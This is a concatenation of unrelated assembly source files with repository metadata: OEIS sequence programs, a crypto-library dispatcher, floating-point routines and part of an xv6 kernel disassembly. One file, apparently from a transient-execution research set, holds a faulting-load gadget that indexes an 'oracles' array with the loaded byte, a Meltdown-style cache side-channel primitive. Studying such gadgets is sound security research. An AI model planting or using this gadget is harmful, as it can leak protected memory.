; A071981: Parity of the digits of e in base 10. ; Submitted by Christian Krause ; 0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0,0,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $2,$3 add $1,$2 add $7,1 mov $5,$7 div $5,3 mov $4,$5 cmp $4,0 add $5,$4 div $1,$5 div $2,$5 sub $3,1 lpe mov $6,10 pow $6,$0 div $2,$6 div $1,$2 mov $0,$1 mod $0,2
18.888889
201
0.527451
51ca64d303c435b106b7baf2654d247377787703
253
asm
Assembly
AsmSamples/absoluteDifference/mycode.asm
ytugba/My-Otiose-Projects
b0703f5e0b18cee186e44d3e40b6b5c3b162d739
[ "MIT" ]
1
2021-12-23T19:05:25.000Z
2021-12-23T19:05:25.000Z
AsmSamples/absoluteDifference/mycode.asm
ytugba/My-Otiose-Projects
b0703f5e0b18cee186e44d3e40b6b5c3b162d739
[ "MIT" ]
null
null
null
AsmSamples/absoluteDifference/mycode.asm
ytugba/My-Otiose-Projects
b0703f5e0b18cee186e44d3e40b6b5c3b162d739
[ "MIT" ]
null
null
null
;takes the absolute difference of ax and bx ;stores the result in dx mov ax, 1234h mov bx, 5678h cmp ax, bx jc DIFF2; jump if carry==1 DIFF1: mov dx, ax sub dx, bx jmp DONE DIFF2: mov dx, bx sub dx, ax DONE:ret ;----
18.071429
44
0.600791
729c8f6394409ca4c62920cfaca386ee3153dfde
6,916
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_3110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_3110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_3110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %r8 push %rcx push %rdi push %rsi lea addresses_A_ht+0x110f6, %r14 nop nop add $45496, %r8 mov (%r14), %r13 nop xor $49491, %rdi lea addresses_WT_ht+0x1059c, %rsi lea addresses_UC_ht+0x87fa, %rdi and $44204, %r12 mov $54, %rcx rep movsl cmp %r12, %r12 lea addresses_normal_ht+0x1400a, %r8 nop nop nop sub $6506, %rsi mov $0x6162636465666768, %r12 movq %r12, (%r8) nop nop and %rdi, %rdi lea addresses_UC_ht+0x67e6, %r8 nop xor %r13, %r13 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 vmovups %ymm7, (%r8) nop nop add $51512, %r14 lea addresses_UC_ht+0x18172, %rsi lea addresses_A_ht+0xa9d1, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop and $27788, %r11 mov $19, %rcx rep movsq nop nop nop nop inc %r14 lea addresses_normal_ht+0xd00a, %r8 clflush (%r8) nop nop nop nop nop add $667, %r14 and $0xffffffffffffffc0, %r8 vmovntdqa (%r8), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r12 nop nop nop nop nop xor %r11, %r11 lea addresses_WT_ht+0xbf44, %r8 nop nop sub %r13, %r13 vmovups (%r8), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdi nop nop nop nop cmp $50469, %r14 lea addresses_normal_ht+0x1e00a, %r11 clflush (%r11) nop nop and $46617, %rsi movl $0x61626364, (%r11) nop nop nop nop nop cmp $32733, %r11 lea addresses_D_ht+0x8cce, %r8 nop nop sub %rdi, %rdi movb (%r8), %r13b nop nop sub $51532, %r12 lea addresses_WT_ht+0x1c60a, %rdi clflush (%rdi) nop nop add %r12, %r12 vmovups (%rdi), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %rcx nop nop nop nop xor $28806, %rsi lea addresses_WT_ht+0x8cfa, %rsi lea addresses_normal_ht+0x280a, %rdi nop nop nop nop sub $13932, %r13 mov $42, %rcx rep movsb sub %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %r8 pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %rcx push %rdx // Faulty Load lea addresses_A+0x1880a, %rcx nop nop nop nop nop add $56494, %r8 mov (%rcx), %r10 lea oracles, %r8 and $0xff, %r10 shlq $12, %r10 mov (%r8,%r10,1), %r10 pop %rdx pop %rcx pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': True, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
36.209424
2,999
0.65963
1d0ac3b75d622547007956147770c3d92149a799
1,484
asm
Assembly
programs/oeis/211/A211539.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/211/A211539.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/211/A211539.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A211539: Number of ordered triples (w,x,y) with all terms in {1,...,n} and 2w = 2n - 2x + y. ; 0,0,2,3,7,9,15,18,26,30,40,45,57,63,77,84,100,108,126,135,155,165,187,198,222,234,260,273,301,315,345,360,392,408,442,459,495,513,551,570,610,630,672,693,737,759,805,828,876,900,950,975,1027,1053,1107,1134,1190,1218,1276,1305,1365,1395,1457,1488,1552,1584,1650,1683,1751,1785,1855,1890,1962,1998,2072,2109,2185,2223,2301,2340,2420,2460,2542,2583,2667,2709,2795,2838,2926,2970,3060,3105,3197,3243,3337,3384,3480,3528,3626,3675,3775,3825,3927,3978,4082,4134,4240,4293,4401,4455,4565,4620,4732,4788,4902,4959,5075,5133,5251,5310,5430,5490,5612,5673,5797,5859,5985,6048,6176,6240,6370,6435,6567,6633,6767,6834,6970,7038,7176,7245,7385,7455,7597,7668,7812,7884,8030,8103,8251,8325,8475,8550,8702,8778,8932,9009,9165,9243,9401,9480,9640,9720,9882,9963,10127,10209,10375,10458,10626,10710,10880,10965,11137,11223,11397,11484,11660,11748,11926,12015,12195,12285,12467,12558,12742,12834,13020,13113,13301,13395,13585,13680,13872,13968,14162,14259,14455,14553,14751,14850,15050,15150,15352,15453,15657,15759,15965,16068,16276,16380,16590,16695,16907,17013,17227,17334,17550,17658,17876,17985,18205,18315,18537,18648,18872,18984,19210,19323,19551,19665,19895,20010,20242,20358,20592,20709,20945,21063,21301,21420,21660,21780,22022,22143,22387,22509,22755,22878,23126,23250 mov $1,2 add $1,$0 mov $3,$1 mov $1,$0 mov $2,$3 div $2,2 sub $2,1 sub $1,$2 mul $1,2 add $1,1 add $1,$2 mul $1,$2 div $1,2
87.294118
1,263
0.764825
afc18e22c5e073beb6c945ad2764768780801445
989
asm
Assembly
_build/dispatcher/jmp_ippsSM3Unpack_05edfd55.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsSM3Unpack_05edfd55.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsSM3Unpack_05edfd55.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsSM3Unpack:function extern n8_ippsSM3Unpack:function extern y8_ippsSM3Unpack:function extern e9_ippsSM3Unpack:function extern l9_ippsSM3Unpack:function extern n0_ippsSM3Unpack:function extern k0_ippsSM3Unpack:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsSM3Unpack .Larraddr_ippsSM3Unpack: dq m7_ippsSM3Unpack dq n8_ippsSM3Unpack dq y8_ippsSM3Unpack dq e9_ippsSM3Unpack dq l9_ippsSM3Unpack dq n0_ippsSM3Unpack dq k0_ippsSM3Unpack segment .text global ippsSM3Unpack:function (ippsSM3Unpack.LEndippsSM3Unpack - ippsSM3Unpack) .Lin_ippsSM3Unpack: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsSM3Unpack: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsSM3Unpack] mov r11, qword [r11+rax*8] jmp r11 .LEndippsSM3Unpack:
25.358974
79
0.777553
290a0d0ee93bb25528a37e7a67a51a1e44d5711e
1,117
asm
Assembly
libsrc/math/genmath/c/sccz80/float.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/math/genmath/c/sccz80/float.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/math/genmath/c/sccz80/float.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; Generic Z80 Floating point routines ; For Small C+ compiler SECTION code_fp PUBLIC float EXTERN norm EXTERN l_long_neg PUBLIC float1 EXTERN fasign EXTERN fa ; ; convert the integer in hl to ; a floating point number in FA ; ; This routine will need to be rewritten slightly to handle ; long ints..hopefully fairly OKish.. .float LD A,d ;fetch MSB .float1 CPL ;reverse sign bit LD (fasign),A ;save sign (msb) RLA ;move sign into cy JR C,FL4 ;c => nonnegative number call l_long_neg ; fp number is c ix de b .FL4 ; Number is in dehl ; Float goes in c, ix, de, b ld a,d or e jr z,float16u ld c,d ld ixh,e ld a,h ld ixl,a ld d,l ld e,0 ld b,e LD A,32+128 gonorm: LD (fa+5),A ;preset exponent JP norm ;go normalize c ix de b float16u: ld c,h ld a,l ld ixh,a ld ixl,0 ld de,0 ld b,e ld a,16 + 128 jr gonorm
18.932203
65
0.518353
20c177b527e57fad430b73d692282cede9115de7
673
asm
Assembly
oeis/213/A213846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/213/A213846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/213/A213846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A213846: Antidiagonal sums of the convolution array A213844. ; Submitted by Jon Maiga ; 3,23,90,250,565,1113,1988,3300,5175,7755,11198,15678,21385,28525,37320,48008,60843,76095,94050,115010,139293,167233,199180,235500,276575,322803,374598,432390,496625,567765,646288,732688,827475,931175,1044330,1167498,1301253,1446185,1602900,1772020,1954183,2150043,2360270,2585550,2826585,3084093,3358808,3651480,3962875,4293775,4644978,5017298,5411565,5828625,6269340,6734588,7225263,7742275,8286550,8859030,9460673,10092453,10755360,11450400,12178595,12940983,13738618,14572570,15443925,16353785 add $0,3 mov $1,$0 bin $0,3 mul $1,2 sub $1,2 bin $1,4 add $1,$0 add $1,$0 mov $0,$1
48.071429
498
0.805349
5da5fbae011e5c7ecb90e22981a32d19fc6ee0dc
713,597
asm
Assembly
kernel.asm
Gunahuachen1995/XV6_lottery_scheduler
ef0b2ff98292dc56252845a9169cb0a3b7a7f2ef
[ "MIT-0" ]
null
null
null
kernel.asm
Gunahuachen1995/XV6_lottery_scheduler
ef0b2ff98292dc56252845a9169cb0a3b7a7f2ef
[ "MIT-0" ]
null
null
null
kernel.asm
Gunahuachen1995/XV6_lottery_scheduler
ef0b2ff98292dc56252845a9169cb0a3b7a7f2ef
[ "MIT-0" ]
null
null
null
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 b0 10 00 mov $0x10b000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc 40 e0 10 80 mov $0x8010e040,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 8f 38 10 80 mov $0x8010388f,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034 <binit>: struct buf head; } bcache; void binit(void) { 80100034: 55 push %ebp 80100035: 89 e5 mov %esp,%ebp 80100037: 83 ec 18 sub $0x18,%esp struct buf *b; initlock(&bcache.lock, "bcache"); 8010003a: 83 ec 08 sub $0x8,%esp 8010003d: 68 18 89 10 80 push $0x80108918 80100042: 68 40 e0 10 80 push $0x8010e040 80100047: e8 c8 50 00 00 call 80105114 <initlock> 8010004c: 83 c4 10 add $0x10,%esp //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; 8010004f: c7 05 50 1f 11 80 44 movl $0x80111f44,0x80111f50 80100056: 1f 11 80 bcache.head.next = &bcache.head; 80100059: c7 05 54 1f 11 80 44 movl $0x80111f44,0x80111f54 80100060: 1f 11 80 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100063: c7 45 f4 74 e0 10 80 movl $0x8010e074,-0xc(%ebp) 8010006a: eb 3a jmp 801000a6 <binit+0x72> b->next = bcache.head.next; 8010006c: 8b 15 54 1f 11 80 mov 0x80111f54,%edx 80100072: 8b 45 f4 mov -0xc(%ebp),%eax 80100075: 89 50 10 mov %edx,0x10(%eax) b->prev = &bcache.head; 80100078: 8b 45 f4 mov -0xc(%ebp),%eax 8010007b: c7 40 0c 44 1f 11 80 movl $0x80111f44,0xc(%eax) b->dev = -1; 80100082: 8b 45 f4 mov -0xc(%ebp),%eax 80100085: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax) bcache.head.next->prev = b; 8010008c: a1 54 1f 11 80 mov 0x80111f54,%eax 80100091: 8b 55 f4 mov -0xc(%ebp),%edx 80100094: 89 50 0c mov %edx,0xc(%eax) bcache.head.next = b; 80100097: 8b 45 f4 mov -0xc(%ebp),%eax 8010009a: a3 54 1f 11 80 mov %eax,0x80111f54 //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 8010009f: 81 45 f4 18 02 00 00 addl $0x218,-0xc(%ebp) 801000a6: b8 44 1f 11 80 mov $0x80111f44,%eax 801000ab: 39 45 f4 cmp %eax,-0xc(%ebp) 801000ae: 72 bc jb 8010006c <binit+0x38> b->prev = &bcache.head; b->dev = -1; bcache.head.next->prev = b; bcache.head.next = b; } } 801000b0: 90 nop 801000b1: c9 leave 801000b2: c3 ret 801000b3 <bget>: // Look through buffer cache for block on device dev. // If not found, allocate a buffer. // In either case, return B_BUSY buffer. static struct buf* bget(uint dev, uint blockno) { 801000b3: 55 push %ebp 801000b4: 89 e5 mov %esp,%ebp 801000b6: 83 ec 18 sub $0x18,%esp struct buf *b; acquire(&bcache.lock); 801000b9: 83 ec 0c sub $0xc,%esp 801000bc: 68 40 e0 10 80 push $0x8010e040 801000c1: e8 70 50 00 00 call 80105136 <acquire> 801000c6: 83 c4 10 add $0x10,%esp loop: // Is the block already cached? for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000c9: a1 54 1f 11 80 mov 0x80111f54,%eax 801000ce: 89 45 f4 mov %eax,-0xc(%ebp) 801000d1: eb 67 jmp 8010013a <bget+0x87> if(b->dev == dev && b->blockno == blockno){ 801000d3: 8b 45 f4 mov -0xc(%ebp),%eax 801000d6: 8b 40 04 mov 0x4(%eax),%eax 801000d9: 3b 45 08 cmp 0x8(%ebp),%eax 801000dc: 75 53 jne 80100131 <bget+0x7e> 801000de: 8b 45 f4 mov -0xc(%ebp),%eax 801000e1: 8b 40 08 mov 0x8(%eax),%eax 801000e4: 3b 45 0c cmp 0xc(%ebp),%eax 801000e7: 75 48 jne 80100131 <bget+0x7e> if(!(b->flags & B_BUSY)){ 801000e9: 8b 45 f4 mov -0xc(%ebp),%eax 801000ec: 8b 00 mov (%eax),%eax 801000ee: 83 e0 01 and $0x1,%eax 801000f1: 85 c0 test %eax,%eax 801000f3: 75 27 jne 8010011c <bget+0x69> b->flags |= B_BUSY; 801000f5: 8b 45 f4 mov -0xc(%ebp),%eax 801000f8: 8b 00 mov (%eax),%eax 801000fa: 83 c8 01 or $0x1,%eax 801000fd: 89 c2 mov %eax,%edx 801000ff: 8b 45 f4 mov -0xc(%ebp),%eax 80100102: 89 10 mov %edx,(%eax) release(&bcache.lock); 80100104: 83 ec 0c sub $0xc,%esp 80100107: 68 40 e0 10 80 push $0x8010e040 8010010c: e8 8c 50 00 00 call 8010519d <release> 80100111: 83 c4 10 add $0x10,%esp return b; 80100114: 8b 45 f4 mov -0xc(%ebp),%eax 80100117: e9 98 00 00 00 jmp 801001b4 <bget+0x101> } sleep(b, &bcache.lock); 8010011c: 83 ec 08 sub $0x8,%esp 8010011f: 68 40 e0 10 80 push $0x8010e040 80100124: ff 75 f4 pushl -0xc(%ebp) 80100127: e8 cb 4c 00 00 call 80104df7 <sleep> 8010012c: 83 c4 10 add $0x10,%esp goto loop; 8010012f: eb 98 jmp 801000c9 <bget+0x16> acquire(&bcache.lock); loop: // Is the block already cached? for(b = bcache.head.next; b != &bcache.head; b = b->next){ 80100131: 8b 45 f4 mov -0xc(%ebp),%eax 80100134: 8b 40 10 mov 0x10(%eax),%eax 80100137: 89 45 f4 mov %eax,-0xc(%ebp) 8010013a: 81 7d f4 44 1f 11 80 cmpl $0x80111f44,-0xc(%ebp) 80100141: 75 90 jne 801000d3 <bget+0x20> } // Not cached; recycle some non-busy and clean buffer. // "clean" because B_DIRTY and !B_BUSY means log.c // hasn't yet committed the changes to the buffer. for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100143: a1 50 1f 11 80 mov 0x80111f50,%eax 80100148: 89 45 f4 mov %eax,-0xc(%ebp) 8010014b: eb 51 jmp 8010019e <bget+0xeb> if((b->flags & B_BUSY) == 0 && (b->flags & B_DIRTY) == 0){ 8010014d: 8b 45 f4 mov -0xc(%ebp),%eax 80100150: 8b 00 mov (%eax),%eax 80100152: 83 e0 01 and $0x1,%eax 80100155: 85 c0 test %eax,%eax 80100157: 75 3c jne 80100195 <bget+0xe2> 80100159: 8b 45 f4 mov -0xc(%ebp),%eax 8010015c: 8b 00 mov (%eax),%eax 8010015e: 83 e0 04 and $0x4,%eax 80100161: 85 c0 test %eax,%eax 80100163: 75 30 jne 80100195 <bget+0xe2> b->dev = dev; 80100165: 8b 45 f4 mov -0xc(%ebp),%eax 80100168: 8b 55 08 mov 0x8(%ebp),%edx 8010016b: 89 50 04 mov %edx,0x4(%eax) b->blockno = blockno; 8010016e: 8b 45 f4 mov -0xc(%ebp),%eax 80100171: 8b 55 0c mov 0xc(%ebp),%edx 80100174: 89 50 08 mov %edx,0x8(%eax) b->flags = B_BUSY; 80100177: 8b 45 f4 mov -0xc(%ebp),%eax 8010017a: c7 00 01 00 00 00 movl $0x1,(%eax) release(&bcache.lock); 80100180: 83 ec 0c sub $0xc,%esp 80100183: 68 40 e0 10 80 push $0x8010e040 80100188: e8 10 50 00 00 call 8010519d <release> 8010018d: 83 c4 10 add $0x10,%esp return b; 80100190: 8b 45 f4 mov -0xc(%ebp),%eax 80100193: eb 1f jmp 801001b4 <bget+0x101> } // Not cached; recycle some non-busy and clean buffer. // "clean" because B_DIRTY and !B_BUSY means log.c // hasn't yet committed the changes to the buffer. for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100195: 8b 45 f4 mov -0xc(%ebp),%eax 80100198: 8b 40 0c mov 0xc(%eax),%eax 8010019b: 89 45 f4 mov %eax,-0xc(%ebp) 8010019e: 81 7d f4 44 1f 11 80 cmpl $0x80111f44,-0xc(%ebp) 801001a5: 75 a6 jne 8010014d <bget+0x9a> b->flags = B_BUSY; release(&bcache.lock); return b; } } panic("bget: no buffers"); 801001a7: 83 ec 0c sub $0xc,%esp 801001aa: 68 1f 89 10 80 push $0x8010891f 801001af: e8 b2 03 00 00 call 80100566 <panic> } 801001b4: c9 leave 801001b5: c3 ret 801001b6 <bread>: // Return a B_BUSY buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801001b6: 55 push %ebp 801001b7: 89 e5 mov %esp,%ebp 801001b9: 83 ec 18 sub $0x18,%esp struct buf *b; b = bget(dev, blockno); 801001bc: 83 ec 08 sub $0x8,%esp 801001bf: ff 75 0c pushl 0xc(%ebp) 801001c2: ff 75 08 pushl 0x8(%ebp) 801001c5: e8 e9 fe ff ff call 801000b3 <bget> 801001ca: 83 c4 10 add $0x10,%esp 801001cd: 89 45 f4 mov %eax,-0xc(%ebp) if(!(b->flags & B_VALID)) { 801001d0: 8b 45 f4 mov -0xc(%ebp),%eax 801001d3: 8b 00 mov (%eax),%eax 801001d5: 83 e0 02 and $0x2,%eax 801001d8: 85 c0 test %eax,%eax 801001da: 75 0e jne 801001ea <bread+0x34> iderw(b); 801001dc: 83 ec 0c sub $0xc,%esp 801001df: ff 75 f4 pushl -0xc(%ebp) 801001e2: e8 26 27 00 00 call 8010290d <iderw> 801001e7: 83 c4 10 add $0x10,%esp } return b; 801001ea: 8b 45 f4 mov -0xc(%ebp),%eax } 801001ed: c9 leave 801001ee: c3 ret 801001ef <bwrite>: // Write b's contents to disk. Must be B_BUSY. void bwrite(struct buf *b) { 801001ef: 55 push %ebp 801001f0: 89 e5 mov %esp,%ebp 801001f2: 83 ec 08 sub $0x8,%esp if((b->flags & B_BUSY) == 0) 801001f5: 8b 45 08 mov 0x8(%ebp),%eax 801001f8: 8b 00 mov (%eax),%eax 801001fa: 83 e0 01 and $0x1,%eax 801001fd: 85 c0 test %eax,%eax 801001ff: 75 0d jne 8010020e <bwrite+0x1f> panic("bwrite"); 80100201: 83 ec 0c sub $0xc,%esp 80100204: 68 30 89 10 80 push 